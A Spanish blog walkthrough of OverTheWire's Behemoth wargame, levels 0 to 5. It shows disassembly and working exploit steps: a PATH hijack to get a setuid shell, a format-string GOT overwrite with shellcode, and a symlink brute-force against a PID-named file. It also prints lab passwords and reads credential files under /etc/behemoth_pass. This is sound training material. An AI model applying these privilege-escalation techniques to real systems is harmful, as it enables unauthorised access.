La mañana del sábado tuve un hueco y me entretuve en echarle dos horillas a este wargame de overthewire.org. Son retos bastante sencillos, pero entretienen bastante.
========
En primer lugar ejecutamos el programa. Al hacerlo observamos cómo nos pide una password, y si no la acertamos, se cierra. Procedamos a analizar por dentro del binario para ver qué hace:
r2 -d "./behemoth0"
aa
afl
pdf @ main
0x08048632 e8b9fdffff call 0x1080483f0 ; (sym.imp.strcmp)
| sym.imp.strcmp()
| 0x08048637 85c0 test eax, eax
| ,=< 0x08048639 752a jnz 0x8048665
| | 0x0804863b c7042471870. mov dword [esp], str.Accessgranted..
| | 0x08048642 e8d9fdffff call 0x108048420 ; (sym.imp.puts)
| | sym.imp.puts()
| | 0x08048647 c7442408000. mov dword [esp+0x8], 0x0
| | 0x0804864f c7442404828. mov dword [esp+0x4], str.sh
| | 0x08048657 c7042485870. mov dword [esp], str.binsh
| | 0x0804865e e8fdfdffff call 0x108048460 ; (sym.imp.execl)
| | sym.imp.execl()
| ,==< 0x08048663 eb0c jmp loc.08048671
| |`-> 0x08048665 c704248d870. mov dword [esp], str.Accessdenied..
| | ; CODE (CALL) XREF from 0x08048420 (fcn.08048416)
| | 0x0804866c e8affdffff call 0x108048420 ; (sym.imp.puts)
Nos encontramos con una comparación entre dos strings hecha con strcmp(). Tal y como sabemos, strcmp() requiere de dos argumentos (que se corresponden con los dos strings a comparar) y devuelve un 0 si ambos son iguales, 1 y -1 según el primer parámetro sea mayor o menor que el segundo.
Debajo del strcmp() hace un test eax, eax y jnz. En esta parte se evalúa hacia donde enviarnos: zona de chico bueno (garantizándonos una shell) o la zona de chico malo (mensaje de Access denied). Si eax vale 0 (y para que tenga este valor el strcmp() debe de devolver un 0) nos dejará llegar a la shell, si no iremos a la zona de chico malo.
¿Cómo podemos pasar este reto? Hay dos métodos rápidos. Podemos poner un breakpoint antes del test eax, eax y le cambiamos el valor a eax por 0:
db 0x08048637
dr eax=0
dc
O bien podemos poner un breakpoint justo en el strcmp() y ver qué argumentos se le han pasado. En mi caso me decanté por éste:
db 0x08048632
dc
(metemos "AAAA" como password)
pxw @ esp

¡Premio! Vemos cómo le son pasados dos argumentos: "eatmyshorts" y nuestro "AAAA". Probamos la password "eatmyshorts" y ya tenemos nuestra shell para hacer un cat a la password que nos llevará al siguiente nivel.
Level 1
========
Miramos el desensamblado a ver qué se cuece:
r2 -d "./behemoth1"
aa
afl
pdf @ main

Se trata de un buffer overflow de los de libro. No tiene ningún misterio, y ya se ha explicado prácticamente este mismo ejemplo en varias ocasiones en este blog, por lo que no merece la pena entrar en detalle (por ejemplo es idéntico al reto 5 de io.smashthestack.org => http://blog.0verl0ad.com/2014/10/resolviendo-los-retos-de_27.html )
Level 2
========
Como siempre, miramos qué funciones hay:
r2 -d "./behemoth2"
aa
afl

Demasiada pereza me da reversear. Si no quedase más remedio nos pondríamos a ello, pero vamos a buscar alternativas más rápidas. ¡Pero si ni siquiera
lo hemos ejecutado! Vamos a ver qué nos canta
behemoth2@melinda:/behemoth$ ./behemoth2
touch: cannot touch '16295': Permission denied
¿está haciendo algo rollo "system('touch algo')" ? Probemos a ejecutar "touch 12345":
behemoth2@melinda:/behemoth$ touch 12345
touch: cannot touch '12345': Permission denied
Mismo mensaje. O sea, que nuestra teoría es plausible. ¿Colará el viejo truco de añadir un path nuestro a la variable de entorno PATH para que ejecute un programa nuestro en vez de un comando del sistema? Let's play!
mkdir /tmp/xc3ll
echo "/bin/sh" > /tmp/xc3ll/touch
chmod +x /tmp/xc3ll/touch
PATH=/tmp/xc3ll:$PATH
./behemoth2
cat /etc/behemoth_pass/behemoth3
¡Éxito!
Level 3
========
Como siempre, radare2 que te crió:
r2 -d "./behemoth3"
aa
afl
pdf @ main

Viendo el desensamblado de la función main() no noto nada raro en primera instancia. No veo que haya ninguna llamada a /bin/sh o a algún comando del SO, por lo que no se trata de hacer reversing: estamos ante un reto de exploiting. Pero aparentemente no hay ningún buffer overflow. ¿Qué puede ser entonces? ¿Quizás un format string?
behemoth3@melinda:/behemoth$ ./behemoth3
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.c8.f7fcac20.f7ff2eb6.2.f7ffd000.41414141.42424242.2e78252e.252e7825.78252e78
aaaand goodbye again.
behemoth3@melinda:/behemoth$
¡Premio! Estamos leakeando la memoria. Podemos ver que el sexto "%x" empieza a mostrar el buffer que hemos rellenado. Anteriormente me había encontrado con esta vulnerabilidad en los retos de IO (SMASHTHESTACK.ORG) y también en la máquina virtual FUSION de exploit-exercises. La forma más simple, a mi parecer, de explotar esta vulnerabilidad es sobreescribiendo .ctors o sobreescribiendo la GOT. En ambos casos el objetivo es el mismo: que la ejecución salte hacia nuestro shellcode (bien cuando termine main() o bien cuando se vaya a la función después del printf vulnerable). En arras de hacernos la vida más fácil, el shellcode lo alojaremos en una variable de entorno.
Una vez trazado el plan, pongámonos manos a la obra.
export SHIT=$(perl -e 'print "\x90" x 200 . "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72";')
¿Qué direcciones vamos a sobreescribir?
r2 -d "./behemoth3"
aa
ir
Output:
[0xf7fdd0d0]> ir
[Relocations]
addr=0x08049788 off=0x00000788 type=SET_32 printf
addr=0x0804978c off=0x0000078c type=SET_32 fgets
addr=0x08049790 off=0x00000790 type=SET_32 puts
addr=0x08049794 off=0x00000794 type=SET_32 __gmon_start__
addr=0x08049798 off=0x00000798 type=SET_32 __libc_start_main
5 relocations
Si recordamos el desesamblado, después del printf vulnerable venía un puts. Por lo tanto vamos a tener que sobreescribir 0x08049790 con la dirección donde tengamos nuestro colchón de NOPs (hacemos un pxw 2300 @ esp y buscamos los NOPs, en nuestro caso 0xffffdf10). Montemos un exploit (recordad que vimos que el buffer empezaba en el sexto grupo):
Creamos un archivo de texto para sólo tener que hacer un "cat":
$got = "\x90\x97\x04\x08\x92\x97\x04\x08";
$junk = "%57065c%6\$hn%8462c%7\$hn"; # ~ 0xffffdf10 (sobre cómo se calcula, qué diablos estamos haciendo y otras preguntas => http://julianor.tripod.com/bc/NN-formats.txt, con este manual empecé. Otra opción es invitarle a una cerveza a @ca0s y que te lo cuente).
print $got.$junk;
echo $(perl /tmp/fk.pl) > /tmp/we.txt
cat /tmp/we.txt | ./behemoth3
cat /etc/behemoth_pass/behemoth4
ietheishei
¡A por el nivel 4!
Level 4
=========
Tiramos de radare2 para echar un ojo al desensamblado
/ (fcn) main 201
| 0x080485dd 55 push ebp
| 0x080485de 89e5 mov ebp, esp
| 0x080485e0 83e4f0 and esp, 0xfffffff0
| 0x080485e3 83ec40 sub esp, 0x40
| 0x080485e6 65a114000000 mov eax, [gs:0x14]
| 0x080485ec 8944243c mov [esp+0x3c], eax
| 0x080485f0 31c0 xor eax, eax
| ; CODE (CALL) XREF from 0x08048466 (fcn.08048466)
| ; CODE (CALL) XREF from 0x08048496 (fcn.08048496)
| ; CODE (CALL) XREF from 0x080484d6 (fcn.080484d6)
| ; CODE (CALL) XREF from 0x080484a6 (fcn.080484a6)
| ; CODE (CALL) XREF from 0x08048476 (fcn.08048476)
| ; CODE (CALL) XREF from 0x080484b6 (fcn.080484b6)
| ; CODE (CALL) XREF from 0x080484c6 (fcn.080484c6)
| ; CODE (CALL) XREF from 0x08048486 (fcn.08048486)
| 0x080485f2 e869feffff call 0x108048460 ; (sym.imp.getpid)
| sym.imp.getpid(unk)
| 0x080485f7 8944241c mov [esp+0x1c], eax
| 0x080485fb 8b44241c mov eax, [esp+0x1c]
| 0x080485ff 89442408 mov [esp+0x8], eax
| 0x08048603 c7442404408. mov dword [esp+0x4], 0x8048740
| 0x0804860b 8d442428 lea eax, [esp+0x28]
| 0x0804860f 890424 mov [esp], eax
| 0x08048612 e8b9feffff call 0x1080484d0 ; (sym.imp.sprintf)
| sym.imp.sprintf()
| 0x08048617 c7442404488. mov dword [esp+0x4], 0x8048748
| 0x0804861f 8d442428 lea eax, [esp+0x28]
| 0x08048623 890424 mov [esp], eax
| 0x08048626 e875feffff call 0x1080484a0 ; (sym.imp.fopen)
| sym.imp.fopen()
| 0x0804862b 89442420 mov [esp+0x20], eax
| 0x0804862f 837c242000 cmp dword [esp+0x20], 0x0
| ,=< 0x08048634 750e jnz 0x8048644
| | 0x08048636 c704244a870. mov dword [esp], str.PIDnotfound
| | 0x0804863d e82efeffff call 0x108048470 ; (sym.imp.puts)
| | sym.imp.puts()
| ,==< 0x08048642 eb49 jmp loc.0804868d
| |`-> 0x08048644 c7042401000. mov dword [esp], 0x1
| | 0x0804864b e8f0fdffff call 0x108048440 ; (sym.imp.sleep)
| | sym.imp.sleep()
| | 0x08048650 c7042459870. mov dword [esp], str.Finishedsleepingfgetcing
| | ; CODE (CALL) XREF from 0x08048470 (fcn.08048466)
| | 0x08048657 e814feffff call 0x108048470 ; (sym.imp.puts)
| | sym.imp.puts()
| ,===< 0x0804865c eb0c jmp 0x804866a ; (fcn.080485ae)
| .----> 0x0804865e 8b442424 mov eax, [esp+0x24]
|- fcn.0804866a 68
| ||| 0x08048662 890424 mov [esp], eax
| ||| 0x08048665 e846feffff call 0x1080484b0 ; (sym.imp.putchar)
| ||| sym.imp.putchar()
| || ; CODE (CALL) XREF from 0x0804865c (fcn.080485ae)
| |`---> 0x0804866a 8b442420 mov eax, [esp+0x20]
| | | 0x0804866e 890424 mov [esp], eax
| | | 0x08048671 e84afeffff call 0x1080484c0 ; (sym.imp.fgetc)
| | | sym.imp.fgetc()
| | | 0x08048676 89442424 mov [esp+0x24], eax
| | | 0x0804867a 837c2424ff cmp dword [esp+0x24], 0xffffffff
| `====< 0x0804867f 75dd jnz 0x10804865e
| | 0x08048681 8b442420 mov eax, [esp+0x20]
| | 0x08048685 890424 mov [esp], eax
| | 0x08048688 e8a3fdffff call 0x108048430 ; (sym.imp.fclose)
| | sym.imp.fclose()
| | ; CODE (CALL) XREF from 0x08048642 (fcn.080485ae)
|- loc.0804868d 25
| `--> 0x0804868d b800000000 mov eax, 0x0
| 0x08048692 8b54243c mov edx, [esp+0x3c]
| 0x08048696 65331514000. xor edx, [gs:0x14]
| 0x0804869d 7405 jz 0x80486a4
| ; CODE (CALL) XREF from 0x08048450 (fcn.08048446)
| 0x0804869f e8acfdffff call 0x108048450 ; (sym.imp.__stack_chk_fail)
| sym.imp.__stack_chk_fail()
| 0x080486a4 c9 leave
\ 0x080486a5 c3 ret
Leyendo en diagonal vemos que hace un fopen() a un archivo, si existe lo muestra y si no lanza un mensaje de "PID not found". En primer lugar, ¿a qué archivo le hace fopen()?
db 0x08048626
dc
pxw @ esp
0xffffd680 0xffffd6a8 0x08048748 0x000028ec 0x08048401 ....H....(......
0xffffd690 0xffffd89d 0x0000002f 0x0804a000 0x000028ec ..../........(..
0xffffd6a0 0x00000001 0xffffd764 0x706d742f 0x3430312f ....d.../tmp/104
0xffffd6b0 0xf7003637 0xf7ffd000 0x080486bb 0x7a172a00 76...........*.z
Un archivo en /tmp/ cuyo nombre es 10476. Pensando un poco, hemos visto que se ejecutaba la función getpid() y que el mensaje de "bad boy" es "PID not found". ¿Cual es el PID actual del programa?
i
file /games/behemoth/behemoth4
type EXEC (Executable file)
pic false
has_va true
root elf
class ELF32
lang c
arch x86
bits 32
machine Intel 80386
os linux
subsys linux
endian little
strip false
static false
linenum true
lsyms true
relocs true
rpath NONE
type EXEC (Executable file)
os linux
arch Intel 80386
bits 32
endian little
file /games/behemoth/behemoth4
fd 10476
size 0xffffffff
mode rwx
block 0x100
uri dbg://./behemoth4
¡Premio! El PID es el mismo (nuestro PID es 10476 y fopen() lo hace a /tmp/10476). Si creamos un enlace simbólico en /tmp/10476 que esté apuntando a /etc/behemoth_pass/behemoth5, cuando haga el fopen() y muestre el contenido del fichero estaremos viendo el password para iniciar el siguiente nivel.
ln -s /etc/behemoth_pass/behemoth5 /tmp/10476
¿Cual es el problema? Que en cada ejeución el PID va a cambiar. ¿Cual es la solución? ¡Bruteforcear!
while(1) {
$a = `/behemoth/behemoth4`;
if ($a !~ /not/) { print $a; exit;}
}
behemoth4@melinda:/behemoth$ perl /tmp/wh.pl
Finished sleeping, fgetcing
aizeeshing
¡A por el nivel 5!
Level 5
==========
Radare2 y veamos que está pasando (sólo pongo las porciones interesantes)
0x0804873d 55 push ebp
| 0x0804873e 89e5 mov ebp, esp
| 0x08048740 83e4f0 and esp, 0xfffffff0
| 0x08048743 83ec50 sub esp, 0x50
| 0x08048746 8b450c mov eax, [ebp+0xc]
| 0x08048749 8944241c mov [esp+0x1c], eax
| 0x0804874d 65a114000000 mov eax, [gs:0x14]
| 0x08048753 8944244c mov [esp+0x4c], eax
| 0x08048757 31c0 xor eax, eax
| 0x08048759 c7442424000. mov dword [esp+0x24], 0x0
| 0x08048761 c7442404f08. mov dword [esp+0x4], 0x80489f0
| 0x08048769 c70424f2890. mov dword [esp], str.etcbehemoth_passbehemoth6
| 0x08048770 e85bfeffff call 0x1080485d0 ; (sym.imp.fopen)
...
...
Un fopen() a /etc/behemoth_pass/behemoth6. Parece interesante, prosigamos:
...
...
| 0x08048822 c70424158a0. mov dword [esp], str.localhost
| 0x08048829 e8f2fdffff call 0x108048620 ; (sym.imp.gethostbyname)
| sym.imp.gethostbyname()
| 0x0804882e 89442430 mov [esp+0x30], eax
| 0x08048832 837c243000 cmp dword [esp+0x30], 0x0
| ,==< 0x08048837 7518 jnz 0x8048851
| | 0x08048839 c704241f8a0. mov dword [esp], str.gethostbyname
| | 0x08048840 e81bfdffff call 0x108048560 ; (sym.imp.perror)
| | sym.imp.perror()
| | 0x08048845 c7042401000. mov dword [esp], 0x1
| | 0x0804884c e83ffdffff call 0x108048590 ; (sym.imp.exit)
| | sym.imp.exit()
| `--> 0x08048851 c7442408000. mov dword [esp+0x8], 0x0
| 0x08048859 c7442404020. mov dword [esp+0x4], 0x2
| 0x08048861 c7042402000. mov dword [esp], 0x2
| 0x08048868 e8a3fdffff call 0x108048610 ; (sym.imp.socket)
| sym.imp.socket()
| 0x0804886d 89442434 mov [esp+0x34], eax
| 0x08048871 837c2434ff cmp dword [esp+0x34], 0xffffffff
| ,===< 0x08048876 7518 jnz 0x8048890
| | 0x08048878 c704242d8a0. mov dword [esp], str.socket
| | 0x0804887f e8dcfcffff call 0x108048560 ; (sym.imp.perror)
| | sym.imp.perror()
| | 0x08048884 c7042401000. mov dword [esp], 0x1
| | 0x0804888b e800fdffff call 0x108048590 ; (sym.imp.exit)
| | sym.imp.exit()
| `---> 0x08048890 66c744243c0. mov word [esp+0x3c], 0x2
| 0x08048897 c70424348a0. mov dword [esp], str.1337
| 0x0804889e e85dfdffff call 0x108048600 ; (sym.imp.atoi)
| sym.imp.atoi()
...
...
Leyendo en diagonal, vemos la palabra socket, vemos localhost y 1337. Vamos a conectarnos con nc, a ver qué se cuece:
((sleep 1; /behemoth/behemoth5) & nc -l 1337) 2> /dev/null
Nada. Qué raro, si debiéramos de estar viendo algo ahí. Después de media hora probando idioteces, me di cuenta de que era UDP.
((sleep 1; /behemoth/behemoth5) & nc -ul 1337) 2> /dev/null
¡A por el 6! (otro finde x'D)
Byt3z!
No hay comentarios:
Publicar un comentario